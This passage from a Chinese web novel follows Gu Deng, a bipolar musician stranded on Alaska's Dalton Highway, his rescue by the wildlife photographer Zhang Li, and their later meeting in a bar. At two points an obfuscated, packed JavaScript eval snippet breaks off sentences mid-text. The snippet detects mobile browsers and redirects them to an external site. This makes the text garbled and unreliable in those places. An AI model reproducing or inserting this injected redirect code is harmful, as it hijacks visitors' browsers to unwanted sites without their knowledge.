《在阿拉斯加的春天》 1. 极地初遇 为了躲避一头横穿公路的驼鹿,顾灯连人带车冲进了雪地里,万幸人没有受伤,只是发动机熄了火。 3月,阿拉斯加道尔顿公路风雪肆虐,室外气温低至零下30度,信号全无,只有无线电可以和附近的司机通信。顾灯发布求救信号后十几分钟,频道内都没有任何回应。 车窗玻璃开始结冰,顾灯呼出一口冷气,从背包里翻出户外羽绒服穿上。 依旧无人回应。 窗外大雪弥漫,一场北极风暴正在形成。 直到现在顾灯才不得不承认,自驾道尔顿公路的行为确实太冒险了。他经常会在轻躁狂发作时轻率做出决定,等恢复正常后又追悔莫及。 起初他来阿拉斯加只是想观鲸,可观鲸团最早也要4月开放,他来早了整整半个月,于是他决定开车去北极。 当时租车公司的人就劝过他不要单独前往,说道尔顿公路环境恶劣,是全球最危险的公路之一。可惜顾灯对此毫不在意,他当时信心十足,渴望冒险,觉得自己能做一切事情——典型的轻躁狂前期征兆。 他本该心生警惕,联系主治医生和值得信任的亲友,交出车钥匙,不再做出任何重大决定。 可顾灯把躁狂预防合同撕了,去户外品牌店购入耐极寒冲锋衣,灌了两桶油,去超市打包了3天的食物,兴冲冲地把车开上了死亡公路。 他受够了一次次的情绪反复,也疲于持续去做情绪管理。他想要自由的哭,放肆的笑,而不是每次情绪波动都要腾出时间,去写那个该死的情绪日记! 当他开车沿着道尔顿公路一路北上,听着旅行歌单,看着逐渐荒芜的原野,顾灯感到了一股前所未有的幸福和自由。 这种幸福只持续了两小时,然后他的车抛锚在了无人之地。 频道内依旧没有回音,顾灯已经疲于一遍遍描述自己的事故遭遇。更重要的是,他突然有些记不清,当时究竟有没有驼鹿横穿公路。 可如果没有驼鹿,他怎么会出事?可如果有驼鹿,他又怎么找不到任何脚印? 顾灯吃了一粒拉莫三嗪,意图冷静。可药效似乎没有发挥作用,因为他决定下车去找驼鹿的脚印。 他独自走在雪地中,大雪模糊了公路和荒原的痕迹,只有两排窄窄的路标指引方向,仿佛末日里的场景。 顾灯看着这一幕,心中突然涌起一股奇异的感动和宁静。他想,死在这里似乎也没什么好可惜。 偏偏事与愿违,前方突然传来一阵轰鸣,黄光穿透风雪,一辆改装福特猛禽缓缓驶近。车窗降下,露出司机高大的身影。 “是你发的求救信息?” 一个相当英俊的亚裔,英语没有口音,顾灯无法分辨他的国籍。 “是我,”皮卡太高了,顾灯不得不仰起头说,“我的车抛锚了,能搭个便车吗?” “你去哪儿?” “死马镇。” “我只到冷脚。” “也可以。” 男人于是打开车门,顾灯先是道谢,又请对方允许他回去拿行李。男人没说话,人下车和他一起过去。 顾灯行李不多,但后备箱里还有两桶油。油桶太重,顾灯一下没能提起来,还想再试,一只大手伸来握住手柄,男人一只手拎着一桶油,垂眸问他:“还有吗?” “没了。”顾灯说。 男人便转身往回走去,他有着一身令人羡慕的肌肉,提着两桶油走在雪地中,如履平地。 顾灯提着行李箱跟在他身后,说:“非常感谢您的帮助,我叫顾灯,请问您怎么称呼?” “章离。” “中国人?” “是。” “啊……!”顾灯开心地换成了中文,但又立刻失落起来,“你不认识我啊?” “认识。”章离用中文回答。 “吓我一跳,”顾灯这才笑了起来,“我刚才都有点儿伤心了。” 章离:“抱歉。” “我开玩笑啦,”顾灯摇头,语气真诚道,“而且该我说对不起才对,还好遇见了你,不然我都不知道该怎么办了。” 章离摇摇头,似乎早已习惯路人的热情感谢。他把油桶放进皮卡货箱,顾灯也放好行李坐进副驾驶。 看着前面的茫茫风雪,顾灯突然问:“你看到驼鹿的脚印了吗?” “什么脚印?” “我撞到驼鹿才出的意外,可我现在找不到驼鹿的脚印了。” 章离抬头看向前方,只有两道歪斜的车辙印。他说:“可能被雪盖住了。” “哦。”顾灯似乎被这个解释说服,松了口气。 二人驱车上路,车内暖气充足,顾灯觉得有些热,脱掉羽绒服搭在了膝盖上。章离依旧沉默,除了最初的简短交流,此后就没再开过口。 顾灯有点儿憋不住,问:“可以听歌吗?” 章离点头,顾灯就连上wifi,轻快的音乐弥漫在车厢中,他随着音乐晃动身体,看起来似乎很高兴。 过了一会儿,顾灯又问:“我有点儿饿了,可以在车里吃东西吗?” 得到允许,顾灯探到后座打开背包,从里面拿出两个三明治,拆开一个递过去:“你吃吗?” 章离说不用,顾灯于是自己吃了起来,他双手捧着面包,几乎没有发出咀嚼声。吃完三明治后,顾灯把垃圾塞回包里,掏出一个巴掌大的笔记本开始写东西。 这时候,顾灯突然变得非常安静。这种安静具有一种排他性,他彻底沉入了自己的世界里。 直到章离停车喊他名字,顾灯这才从自己的世界中抽离,有些茫然地抬头:“怎么了?” 章离说前方有车辆侧滑,他要下去看看情况,顾灯看了眼GPS,才发现他们已经抵达了手指山。这里已经快要接近北极,偏偏又是一处长上坡路段,因为山体孤立,冬季盛行大横风,再加上风吹雪掩埋道路,极易发生事故。 前方这辆车就陷进了雪地里,目前来看只是轨迹稍有偏离,没有侧翻的痕迹。 章离和车主做了简单沟通,连上绞盘给受困车辆做牵引。他似乎已经很习惯这样的场景,全程操作熟稔,游刃有余。 车辆成功脱困,车主下车依次和他们说谢谢,还硬要塞一个鹿角给章离当谢礼。章离数次婉拒。 顾灯热闹看得正起劲儿,没想到又有个女人下车朝他走来。 对方怀里抱着一坨东西,顾灯义正言辞说不用。没想到女人掀开帽子,竟露出一双忽闪忽闪的大眼睛。 顾灯人都懵了,女人笑着说:“宝宝想亲自感谢你们。” “啊?”顾灯茫然,“怎么感谢?” “哥哥,手。”小朋友才刚学会说话,口齿不清。 顾灯有些茫然地伸手,小女孩儿挥着胳膊,往他掌心里放了两颗糖。 这种体验有些新奇,顾灯捏了捏小朋友手套,笑着说了声谢谢。 小朋友却急了,哥哥的手那么大,她给的糖也太少了! 于是她又伸进口袋掏啊掏,戴着手套一通乱抓,不仅没抓到糖果,反而把糖全都弄到了雪地里。孩子更急了,身体一挣就要下去捡,妈妈差点儿没逮住。 顾灯哪儿能让孩子真落地,外面风这么大,孩子才这么丁点儿,指不定一下就被吹走了。顾灯下车捡起糖果,客客气气地把这对母女送了回去。 爸爸在章离那里遭遇滑铁卢,一脸遗憾地扛着鹿角回来,看见顾灯又眼前一亮,举着鹿角朝他飞奔而来,吓得顾灯拔腿就跑。 “吓死我,差点儿没跑掉,”顾灯坐进副驾驶,又有些好奇,“不过那是真的鹿角吗?” 章离说是。 “哦。”顾灯应了一声,突然变得有些安静。 事故车辆重新上了路,章离驱车缓缓跟随,直到这家人顺利翻过五指山,才超车往前去了。 大雪散去,阳光重新照亮极地针叶林,一只驼鹿突然出现在静谧的森林里。它仰头去吃树上的枝叶,巨大、温柔又安静,像是只会出现在梦里的情景。顾灯目光追随,直到驼鹿彻底消失在视线里。 顾灯:“你看见那只驼鹿了吗?” “没有。” “抱歉,我应该早点叫你。” “没关系。” “下次看见我提前告诉你。” “嗯。” 皮卡沿着输油管道朝北前进,顾灯剥了个糖放进嘴里,酸酸甜甜的,很浓的葡萄味儿。 他拆了个给章离,后者没接。 “吃吧,”顾灯说,“小朋友特意送你的谢礼。” 章离于是拿起糖吃了,他其实长得有些严肃,高大健壮的体格也很有压迫感,但此时脸颊因为吃糖鼓起一小块儿,看起来莫名有点儿呆。 经过手指山后再开20公里就是北极圈,顾灯下车打了卡,但说实话,他觉得这个景点非常普通,除了有个写着北极圈的路牌,压根儿没有什么特殊的风景。 他反而更喜欢后面停车的地点,那时太阳已经快要落山,天空中出现一大片粉紫的云彩,章离突然把车停下,拿着相机下了车。这里的树比之前的更矮了,稀稀朗朗地长在雪地里,把大地变成了一只毛茸茸的小动物。 章离朝着森林走去,顾灯也跟着下了车,他小心翼翼地靠近,终于看见了章离要拍的那群小东西。几乎只有巴掌大的小山雀,羽毛蓬松,有着漆黑的头顶,正在林间一起一落地跳跃,时不时发出阵阵脆鸣。 很可爱的小东西,顾灯被它们吸引,可章离却放下相机往回走,一张照片也没有留。 “你怎么不拍了?”顾灯纳闷。 “我认错了。” “什么?” 章离用相机拉近距离,让顾灯凑近取景器:“看见这些山雀的头顶了吗?黑的。” 顾灯:“嗯,看见了。” 章离又说:“我在找一种和它们很像的鸟,叫西伯利亚山雀,我刚才弄混了它们的叫声。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾灯背上背包,章离帮他拿行李箱,还有两个油桶。 顾灯抽起箱拖杆,说:“油你留着吧,算这一路的油费。” 章离:“不用。” 顾灯开始翻钱包:“那我给你现金。” 章离:“我不是这个意思。” “那你把油收下,”顾灯说,“你不带走,我都不知道要怎么处理。” 章离沉默几秒,这才说了行。 顾灯挥手:“那我先走啦。” 章离:“再见。” 顾灯说完却没有离开,他指了指身后的旅馆,问:“你今晚也住这儿?” 章离:“我住朋友那儿。” “哦,”顾灯有些失落,“那我们应该见不着了。” 这话不好接,章离没有回应。 与此同时,史密斯过来找他拿设备。章离把东西给他,一转身却发现顾灯还在这里。 他穿着一件颇有设计感的硬壳冲锋衣,头戴复古监听耳机,黑色外套和极白的肤色对比,看上去剔透又纯净。 “章,一起吃晚饭?”史密斯的声音响起。 章离却径直朝着顾灯走去,站在他面前问:“你还有事?” 顾灯冲他招了招手:“你头低一点。” 章离低下头,顾灯往他头上扣下耳机。 降噪耳机瞬间隔绝了外界的一切噪音,章离有些茫然地抬头——闭眼。他看见顾灯做出口型,然后按下播放键。 阿拉斯加夜空下,寒风呼啸而过。章离闭上眼,安静地听完了这两分钟。一首温柔的钢琴曲,情绪很淡,透着孤独,却也有一种很浅的感动。 音乐结束,章离缓缓睁开眼睛。 他有着一副深邃的眉眼,鼻梁高挺,面部折叠度高,再加上话少,给人一种凶悍冷漠的印象。但当他低头取下耳机,眼神却多了一分温柔。 “你在路上写的?”他听出了里面的鸟鸣和雪落。 “嗯,”顾灯问,“你喜欢吗?” “喜欢。” “那送你吧。” 章离愣了下:“送我?” “对啊,”顾灯说,“我把音频发你,你想怎么用都行。” 暂且不论顾灯身份摆在这里,就算是一个普通的作曲人,也不会随手送出这么珍贵的东西。 他们用的是同一款手机,顾灯把文件隔空投送过来,章离依旧没有做出反应。 顾灯挥手,说:“再见。” 章离终于抬起头,他开口叫住顾灯,眼中多了一些别的东西:“为什么送我这个?” “谢谢你啊,不过也是收买你,”顾灯冲章离眨了下眼,笑着说,“我的行踪,还请替我保密。” 2. 酒吧重逢 旅馆环境不太好,外面又一直有卡车进出,顾灯一晚上都没怎么睡。第二天,顾灯吃了顿难吃的早餐,和保险公司处理完后续工作,报了个小团去死马镇。没人认出他,顾灯戴着口罩耳机,一路睡了过去。 再次醒来,窗外景色全变了,山和树木完全消失,连动物也不见踪迹,积雪仿佛沙漠覆盖大地,他们正行驶在极地荒漠里。 很难想象世界上还有这样的地方,更难想象的是,连这样的地方居然也有了人类的足迹。 他们在天黑前抵达了死马镇,这是一个因石油开采繁荣起来的小镇,也是道尔顿公路的官方终点。但从地图上看,这里距离北冰洋还有七八公里的距离。 顾灯找到领队想要继续北上,导游很有原则,说因为政策和安全原因,死马镇就是游客能抵达的最北点。 顾灯:“我加钱。” 领队:“加钱也不行。” 顾灯说出个数字,领队被他的真诚打动,联系石油公司员工,让他顺利混了进去。 顾灯换乘公司内部车辆入内,可哪怕如此,他依旧没有看到自己想看的东西。这里到处都充斥着人类工业的痕迹,沿途布满钢架和集装箱,领队指着前方,说那里就是北冰洋。 顾灯抬头望去,沿海油田亮着一排灯,突兀又诡异。 回程路上顾灯突然变得非常安静,他又失眠了,不得不服用安眠药和镇定剂。轻躁狂迅速消失,他开始进入漫长难熬的抑郁期。 接下来的旅程顾灯都提不起任何兴趣,他浑浑噩噩地回到费尔班克斯,呆在酒店再也没有出去。直到一周后,他接到旅行社电话,说他预约的观鲸团就要出发了。 顾灯其实已经没那么想看了,毕竟他早就在网上看了无数遍鲸鱼视频。 今晚睡着前,他又打开了手机里的视频。 正值黄昏,天空呈现漂亮的粉紫色,海水平静,像西湖水一样浓稠、肥厚、富有光泽。突然间,水面荡起一阵涟漪,座头鲸跃出海面,留下一片梦幻的光影。 顾灯反反复复看了好多遍,又把视频保存到手机,借此熬过了无数次难捱的抑郁期。 视频看了一遍又一遍,顾灯还是决定去看看鲸鱼。观鲸那天天气很好,阳光明媚,西沃德小镇色彩缤纷,顾灯戴着口罩墨镜,用望远镜搜寻鲸鱼。 出航3个小时,他们始终没有看见鲸鱼,顾灯几乎已经快要放弃。就在这时,广播突然传来播报,说前方发现了鲸鱼的踪迹。 游艇一路飞驰,20分钟后顾灯终于看见了座头鲸。 周围霎时响起一阵欢呼声,顾灯也跟着兴奋起来。这时候他确实是开心的,也拍了很多照片和视频。可这种开心存在的时间太短了,别人看见鲸鱼能开心好几天甚至是几个月,可顾灯的开心却只能维持几小时,几分钟,甚至是只有看见鲸鱼的那一瞬。 返程时,同船旅客兴奋地交流着观鲸体验,顾灯独自回看视频,突然发现座头鲸皮肤布满旧伤,大片白色藤壶寄生表面,像一只只患了白内障的眼睛。看着密密麻麻的藤壶,他突然感到一阵恶心,忍不住低头干呕起来。 有人过来询问是否要帮忙,顾灯摇头,说自己只是有些晕船。 下船后这种不舒服的感觉更明显了,顾灯不敢开车回安克雷奇,打算在西沃德住一晚再回去。 他在西沃德睡了两天,不仅没有好转,反而变得更加焦虑。因为他始终无法忽视看见藤壶的冲击,哪怕他删掉视频,吃了镇定剂,依旧不能从绝望中逃离。 对他来说,鲸鱼是自由和美好的象征。在他因为各种事情陷入痛苦时,在遥远的阿拉斯加,却有鲸鱼正在跃出海面。每当这时,他心里就会涌出一种治愈的东西,支撑着他继续活下去。 可这一刻,那种美好的想象幻灭了——原来连鲸鱼都不是完全自由,它们同样会遭遇环境污染,被藤壶寄生,受到螺旋桨的伤害,甚至是人类的捕猎。 第三天,顾灯终于驱车返回安克雷奇,车载广播说海边有一头搁浅的虎鲸,有工作人员抵达,正在组织救援帮助虎鲸重回大海。为了驱散藤壶给他带来的冲击,顾灯决定去看一看这头虎鲸——不被藤壶寄生的鲸鱼。 抵达时空中正下着小雪,路面泥泞,顾灯停好车,挤入围观的人群。人群中传来一阵叹息,然后有人轻声哭泣。 此时顾灯还不知道发生了什么,直到他走到最前面,霎时间愣在了那里——他看见了一头死去的虎鲸。 顾灯面前就是虎鲸的眼睛,非常小,灰白的眼球堆在耸立的眼皮上,像是月球上被砸出的陨石坑。 顾灯呆呆和它对视,大脑突然轰的一声,他的世界崩塌了。 一股强烈的恶心直冲脑门,顾灯转身冲出人群,忍不住弯腰呕吐。食物残渣从他喉咙里涌出,像是被嚼碎的内脏从身体里脱落。顾灯闻见自己身上发出的臭气,看见腐液渗出毛孔,就好像,他已经变成了一具尸体。 “叔叔,你还好吗?”一道清脆的声音响起。顾灯埋着脑袋,没有回应。 “叔叔,需要帮你叫救护车吗?”小女孩儿的声音又近了些。顾灯终于抬起了头,出现在他面前的是一个穿红色羽绒服的小女孩儿,她看上去只有五六岁,双眼漆黑,表现沉着而冷静。 不用。 顾灯张嘴想要拒绝,可奇怪的是他一开口就变成了抽噎。顾灯想让自己停下来,喉咙却堵得厉害。他一个字也说不出来了,只得虚弱地抬起右手,用力摆动。 小女孩儿蹲在他面前,说:“可是叔叔,你看起来真的很难受。” 顾灯用力呼吸,终于挤出一句破碎的回应:“没关系的,对不起……” “行吧,那我就在这里陪你,”小女孩儿在他旁边坐下,双手圈住膝盖说,“难受记得告诉我。” 顾灯摇头,不想给小朋友留下阴影。 小女孩儿却拍了拍他肩膀,用大人的语气安慰:“没事的,会好起来的。” 顾灯把脑袋埋进臂弯,肩膀小幅度地颤抖起来。 他情绪崩溃得非常突然,但也消失得极为迅速。滔天的痛苦瞬间蒸发,顾灯抬起头,已经有些想不起来,自己刚才在难过什么。 真神奇,他又恢复成了正常人的样子。 也就是这时,顾灯发现小女孩儿还在这里。 见他抬起头,女孩儿非常自来熟地说:“我叫阿里,有狮子、太阳、海洋的意思。你也可以叫我阿格维奇,这个名字传承自我的曾外婆,在因纽特语言里是弓头鲸的意思,不过大家都说这不太好发音。” 顾灯吸了吸鼻子,说:“你可以叫顾灯。” 女孩儿没听清,歪头问:“Good?” 顾灯没有纠正她的发音,于是阿里又问:“Good叔叔你好些了吗?” 顾灯:“好多了,谢谢你。” 阿里点点头,抱着膝盖继续坐在沙滩上。她没有再说话,只是一动不动地看着虎鲸的尸体。 阿里一直都是一个人,直到顾灯准备离开,依旧无人接应。顾灯有点儿不放心,问阿里家长在哪儿。 “爸爸在叔叔店里,妈妈在工作。”阿里说。 顾灯突然意识到了问题的严重性:“你自己出来的?” “还有曲奇,”阿里说,“我们一起来看虎鲸。” 顾灯这才松了口气,说:“好,叔叔陪你去找曲奇。” “曲奇不用找,它一直乖乖待在那里。”阿里抬手往自行车旁一指,喊,“曲奇,和叔叔打招呼。” 阿拉斯加犬:“汪~!” 顾灯:“……” 顾灯头又疼了起来,蹲下身问阿里:“你家在哪儿?我送你回去。” 阿里:“我可以自己回去。” 顾灯语气严肃起来:“上车,我送你。” 阿里表情警惕:“爸爸告诉我,不能随便上陌生人的车。” 顾灯:“你拍照把我车牌号发给爸爸,然后我送你回去。” “噢饶了我吧,”阿里翻了个白眼儿,埋怨起来,“你看起来就像是一只保护欲旺盛的母鸡。” 顾灯拍下车牌号,面无表情:“离家出走的小孩子没有资格抱怨。” “我没有离家出走,我只是出门玩稍微走远了一些,”阿里哼了一声,嘟起肉肉的脸颊说,“而且我马上就六岁了,我已经不是小孩了。” “是,我们大人骑自行车都用辅助轮。” 阿里:“……” 顾灯把儿童自行车塞进后备箱,在导航里输入阿里告诉他的地址。到了后才发现那竟是个酒吧,顾灯把车停在门口,回头问翘着二郎腿的阿里:“你家在这儿?” “yes,”阿里打了个响指,“实话告诉你,我是这家酒吧的乐队主唱。” 顾灯:“你父母同意吗?” “当然不同意,”阿里说,“但我威胁他们,如果不同意我当主唱,我就回老家跟外婆学习做萨满。” 顾灯:“……” “我很感激你的帮助,但我现在没心情陪你玩游戏,”顾灯正色道,“现在你有两个选择,告诉我你家的正确地址,或者让你爸爸来接你。如果你都不愿意,那我就送你去警察局。” “叔叔你变了,”阿里瘪嘴,“你变得和我爸爸妈妈一样唠叨了。” 顾灯:“我们成年人都这样。” “……” 阿里委屈拨通电话,喊爸爸出来接她。 几分钟后,突然“哗啦”一声响,卷帘门拉开,一个穿着黑色冲锋衣的男人走了出来。 “Daddy!”阿里朝着男人扑去。 男人单手摸她头顶,用很熟稔的语气喊她阿格维奇——竟然是章离。 顾灯关上车门准备离开,章离松开阿里走到他面前,说又见面了。 顾灯嗯了声。 章离:“进来坐会儿?” “不了。”顾灯转身离开,阿里却一把抓住他右手,很霸道地说,“进来,我唱歌给你听。” 顾灯被阿里逮了进去,经过一条长长的走廊,来到了一个开阔的房间里。酒馆左边是酒柜和调酒区,中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463570|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间是一片桌椅,房间另一头做了抬高,摆放着架子鼓、钢琴等乐器。 阿里抓着顾灯一直走到吧台旁,手脚并用爬上单人椅,冲吧台后的男人打了个响指:“史密斯,给我朋友一杯酒,我请。” 吧台背后,一个身材高大的男人抬起头,他单手拎起阿里,表情严肃:“我警告过你,不许自己偷偷跑出去。” “我没有自己偷偷跑出去,”阿里手脚在空中乱晃,大声驳斥,“曲奇和我一起的!” “汪汪汪!”曲奇兴奋地加入了游戏。 两人一狗进入混战,顾灯找了张椅子坐下,章离在他面前放了杯热水,顺势坐下说:“你后来去死马镇了?” 顾灯:“去了。” 章离:“感觉怎么样?” 顾灯沉默了一会儿,说:“有点奇怪,说不上什么感觉。” 章离没再说话,没过多久,吧台战斗结束,史密斯一手拎着阿里,另一只手端了杯鸡尾酒过来,取得了单方面的压倒性胜利。 “你是章离的朋友吧?我们那天见过的。”史密斯把鸡尾酒放到顾灯面前,说,“我女儿给你添麻烦了,谢谢你送她回来。” 顾灯表情茫然。 “在冷脚啊,”史密斯笑了起来,“那天章给我们送设备,我那时候见过你。” “啊……”顾灯想起来了。 史密斯又说:“听章离说你后来要去死马镇?去了吗?感觉怎么样?” 顾灯:“嗯。” 史密斯:“嗯?” “去了,”章离说,“他觉得有些奇怪。” “该死的油田开发把一切都毁了,”史密斯低声咒骂,“这些贪婪的家伙,现在连北极国家野生动物保护区都不放过。” “爸爸,别伤心。”阿里小脸皱成一团,把自己塞进男人怀里。 “抱歉,让你担心了,”史密斯揉了揉她脑袋,缓和了语气,“我只是有些生气。” 阿里把脸埋进史密斯怀里,过了一会儿又抬头问:“棕熊都看完了?” “看完了,”史密斯说,“6头棕熊电池全换了,但99号生病了,我过几天还要回去。” 顾灯听不懂他们在说什么,章离就和他解释,史密斯是动物学家,正在追踪布鲁克斯山脉棕熊的生活习性,会在每年冬季给冬眠的熊更换追踪设备的电池。几天前章离开车去冷脚镇,就是给他们运送考察设备。 顾灯听完,觉得自己应该要做出反应才行。可奇怪的是,大脑却仿佛没有收到讯号,让他一直面无表情,冷漠得几乎有些不礼貌。 不行,不能继续这样下去。明明只是萍水相逢,这些人却都给了他最大的善意,他不能辜负大家的一片好心。 顾灯喝了口冰凉的鸡尾酒,强迫自己抬起头说:“原来是这样啊,听起来很有趣。” 他甚至试图做出轻快的语气,可颤抖的双手出卖了他的真实情绪。 章离:“你还好吗?” 顾灯:“我很好啊。” 章离看了他一眼,没再出声。顾灯也顺势安静了下来,不用和人交谈,不用寻找话题,让他感到了片刻的安心。他安静地坐在角落里,看着杯子里的冰融化成水。 短短几天不见,顾灯就完全换了副样子。曾经的他活泼、热情、才华横溢,可现在,留在他身上只有不安和焦虑,能量从他身上飞快溜走,把他变成了一块枯萎的土地。 章离试图做点儿什么,可他们只是萍水相逢,他甚至无法进入顾灯的世界。 时间在安静中逐渐过去,随着大门被第一个客人推开,酒吧营业时间到了,安静的空间逐渐热闹起来。 顾灯仿佛终于找到机会,起身说:“谢谢你们的招待,我先走了。” 阿里在和乐队的成员准备演出,闻言从后台探出身体:“Good叔叔,你还没听我唱歌!” 顾灯停下脚步,变得有些犹豫。 章离说:“她的音乐很特别,你应该会感兴趣。” 说实话,顾灯现在对音乐毫无兴趣,这只会让他更加厌恶自己。但他确实也答应过阿里,顾灯犹豫了十几秒,又坐了回来。 工作人员开始发放乐队海报,乐队主题是抗议阿拉斯加北极国家野生动物保护区油田开发计划,海报上印了一对被石油染黑的北极熊母子。 顾灯之前只在网上见过白色的北极熊,憨厚可爱的模样,让人心生向往。可海报上这对熊母子却狼狈又丑陋,给他带来了极大的视觉冲击。 顾灯又想起了虎鲸的尸体,还有那只被藤壶寄生的座头鲸,北冰洋沿海油田灯光刺眼,酒吧里的人群让他感到焦虑。帽子和耳机都在车里,顾灯只得把脸埋进掌心,持续做着深呼吸,强迫自己不会逃离。 有人从他面前路过,不小心碰到桌面,顾灯瞬间绷直了身体。理智上他知道没人在看他,可潜意识里又总会觉得,这些人都在偷偷议论自己。 直到一顶棒球帽落在他头顶,顾灯警惕抬头,却看见章离用身体隔开人群:“你不舒服?我送你回去。” 3. 丧失意义 顾灯几乎立刻就站了起来,早在章离开口之前,他已经无数次想要逃离。 可他一起来就后悔了,因为阿里正从后台走出来,仰着脑袋在人群中搜寻他的身影。一直没能看见顾灯,阿里眼神逐渐暗淡下去。 顾灯呼吸一点点急促,台上焦急期盼的阿里,和多年前的他有了部分重影。那时他比阿里就大了一丁点儿,第一次灯台演出,同样的满怀期待,同样的大人失约。 这件事其实已经过去了很久,事后养父母向他解释了失约的原因,也用别的方式做了弥补。顾灯能够理解他们,也没有任何埋怨的情绪。可不知怎么的,就突然不合时宜地在这里想起了。 舞台上,队友拍了下阿里肩膀,提醒她演出即将开始。阿里点头,但依然舍不得收回视线。 本来也不是多大的事情,不过是一次微不足道的失约,小孩儿或许认为一次演出很重要,可大人也有自己的事情。 可是为什么,他今天依旧没有忘记…… 顾灯轻轻吐出一口气,抬起右手在空中晃动,阿里找到了他,表情由阴转晴,直接在台上蹦了起来。旁边一个男人吹响骨笛,演出开始。 顾灯重新坐了回来,对章离说:“抱歉,我没事,刚才谢谢你了。” “没事。”章离在顾灯对面坐下,抬头看向舞台。 阿里开始唱歌,是一种很独特的民族风格,粗犷、原始、带着远古的神性。顾灯听不懂歌词,但能感受到其中的情绪。 章离告诉顾灯这是因纽特语,歌词是对自然和先祖北极熊的致敬。因纽特人多信仰萨满教,认为万物有灵,在各个部落的神话传说中,北极熊、鲸鱼、渡鸦都曾是他们的祖先。 不应该在这间酒吧里,顾灯心想,这样的歌声应该响在旷野中,飞到天空里。 唱到第二首歌时,史密斯过来问章离:“你什么时候出发?” “一周后。” “你真要全程跟完?那可是接近一千里的路程,太危险了,我很担心你。” “我有数。” “……唉,算了,你这个人,决定的事情就不会轻易更改。好好保重吧,希望我们今年夏天还能再见。” 台上的音乐成为谈话的背景音,就连最亲密的人,也无法彻底接收阿里传递的情绪。 顾灯拉低帽檐,把杯子里的酒一饮而尽,史密斯起身给他调新的酒水,章离却摇头,说给顾灯气泡水就行。 “我要喝酒。”顾灯抬头说。 史密斯看章离,章离说:“他醉了,给他气泡水就行。” 顾灯看了眼章离,没再吭声。 史密斯带着气泡水回来,又和章离谈起了北极国家野生动物保护区油田开发计划的最新消息,两人态度都很悲观。油田开发会改变周围生态环境,破坏野生动物的栖息地。 从他们的对话中,顾灯逐渐得知章离正要做的事情。每年春季,阿拉斯加驯鹿群会从布鲁克斯山脉南麓出发,北迁至北极国家野生动物保护区。年复一年,这样的迁徙已经存在了上万年。如果不受外力干预,可能还会一直延续下去。 可现在,这条存在了上万年的驯鹿迁徙路线,就要因为油田开发而彻底消失。章离打算记录下这一族群的最后迁徙路径,刚才史密斯和章离讨论的就是这件事情。 顾灯抬头看向章离,意图从他冷漠的脸上发现情绪。可他表情依旧淡淡,和情绪饱满的史密斯相比,显得有些过分冷静。 可章离要去记录驯鹿迁徙。 这个工作既不挣钱,甚至还要耗费无数财力精力。更别提路途艰辛,稍有不慎就会失去生命。 什么样的人才会生出这样的想法,并且能够做出执行?顾灯有些疑惑地看向章离。 “怎么了?”章离问。 “这是你拍的?”顾灯看向海报上被石油染黑的北极熊母子。 史密斯好奇:“你怎么知道?” 顾灯:“直觉。” 史密斯又谈北极油田开发计划,这人身材壮得像熊,性格却多愁善感,泪点极低,絮絮叨叨地说如果不是工作和家庭,他也想和章离一起,见证这最后一次的大迁徙。 章离和他碰杯,将水一饮而尽。 史密斯哭了一会儿被他弟弟叫走,只剩下顾灯和章离。 台上的歌又换了一首,唱到第三首歌时,乐队的真实水平终于露出原型。除了第一首歌稍微能听,后面这些都编曲粗糙,乱七八糟,一言难尽。 可阿里还在唱,乐队的其他成员也很认真,哪怕并没有多少人真正欣赏他们的作品。 “有意义吗?”顾灯突然说。 章离:“什么?” “你记录驯鹿的迁徙路线,有什么意义吗?”顾灯抬头盯着章离,死气沉沉的眼中突然冒出一股狠劲儿,“就算你记录下来,你又能改变现状,阻止这一切的发生吗?” 这几乎就是故意找茬,但凡换个脾气大的人,现在估计已经和顾灯吵起来了。 可章离却垂下眼眸,认真思考起来。 “我也不知道,”章离说,“或许不能吧,所以我才想记录。” 顾灯只是在发脾气,章离却认真地和他讨论起意义。 顾灯突然就说不下去了,他张了张嘴,低下头把脸埋进掌心:“抱歉,我刚才……” 明明章离什么错都没有,他却不分青红皂白地挑衅,让对方承受自己的糟糕情绪。 章离摇头说没事,顾灯却没有收回视线。 他注视着章离,模糊中察觉章离身上有一种罕见的包容能力。他不侃侃而谈,但他知道许多事情,也能处理棘手的问题。他话少,但并不冷漠,既不打探隐私,也不交浅言深。和他相处时,顾灯有一种被理解的感觉。 顾灯又说了声对不起,然后端着水杯去了离章离最远的桌子。 史密斯端着一大盘烤肉肠和烟熏三文鱼过来,见顾灯找了张最角落的桌子,好奇:“他怎么坐那边了?” 章离抬头望去,顾灯伸手拉低帽檐,仿佛要彻底和他们划清界限。 “要不要叫他过来吃东西?”史密斯又问。 “不用。” “那我给他送一份过去?” “也不用。” 以顾灯现在的状态,估计也不愿意在这里吃东西。 顾灯确实吃不下,他甚至不想再多看章离一眼。他不喜欢和章离这样的人待在一起,这些人高能量、高效率,像个战士一样目标明确,衬得他越发阴暗,爬行。 顾灯仰头把水喝完,在杯下压了两张现金准备离开。面前却突然坐下一个人:“不好意思,请问您是顾灯吗?” 一个非常漂亮的女孩儿,年轻,礼貌,生机勃勃。 “不是,”顾灯说,“我是顾灯哥哥顾火。” “啊?”女孩儿有些恍神,“真的啊?” “假的,”顾灯笑了起来,说,“你想签名还是合影?两个都要也行。” “啊啊啊啊啊,那我两个都要!”女生手忙脚乱打开前置摄像机,挨着顾灯拍了张合影。 拍完照片,又开始翻自己手提包,可惜翻了个底朝天也没找到一张纸。 顾灯拿过一张乐队海报,问:“签在这里可以吗?” “可以可以,”女生连连点头,“可以写送给珊珊吗?” “哪个珊?” “珊瑚的珊。” 